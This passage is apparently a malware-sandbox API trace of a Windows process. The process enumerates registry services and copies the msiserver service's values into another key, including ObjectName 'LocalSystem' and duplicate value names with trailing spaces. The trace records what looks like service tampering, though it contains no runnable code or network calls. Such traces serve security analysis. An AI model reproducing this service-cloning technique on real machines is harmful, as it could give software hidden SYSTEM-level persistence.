dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0248.955] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0248.955] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0248.955] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0248.955] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0248.955] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0248.955] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0248.955] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0248.955] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0248.955] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0248.955] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0248.955] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0248.955] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0248.956] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0248.956] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0248.956] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0248.956] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0248.956] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0248.956] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0248.956] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0248.956] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0248.956] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0248.956] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0248.956] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0248.956] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0248.956] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0248.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0248.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0248.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0248.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0248.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0248.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0248.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0248.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0248.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0248.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0248.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0248.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0248.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0248.958] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0248.958] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0248.958] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0248.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0248.958] RegCloseKey (hKey=0x154) returned 0x0 [0248.958] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0248.958] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0248.958] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0248.958] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0248.958] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0248.958] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0248.958] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0248.958] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0248.959] RegCloseKey (hKey=0x80000002) returned 0x0 [0248.959] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0248.959] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0248.959] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0248.959] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0248.959] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0248.959] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0248.959] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0248.959] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0248.959] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0248.959] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0248.959] RegCloseKey (hKey=0xc4) returned 0x0 [0248.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0248.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0248.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0248.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0248.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0248.960] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0248.960] RegCloseKey (hKey=0x154) returned 0x0 [0248.960] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0248.960] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0248.960] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0248.960] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0248.960] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0248.960] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0248.960] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0248.960] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0248.961] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0248.961] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.961] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.961] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.961] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.961] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.961] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.961] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.961] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.962] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.962] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.962] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.962] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.962] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.962] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.962] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.962] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.962] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0248.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0248.962] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0248.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0248.963] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.963] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.963] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.963] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.963] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.963] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.963] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.963] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.963] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.963] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.963] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.963] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.964] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.964] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.964] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.964] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.964] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0248.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0248.964] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0248.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0248.964] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.964] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.964] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.964] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.965] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.965] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.965] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.965] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.965] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.965] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.965] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.965] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.965] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.965] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.965] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.965] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.966] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0248.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0248.966] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0248.966] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.966] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.966] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.966] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, 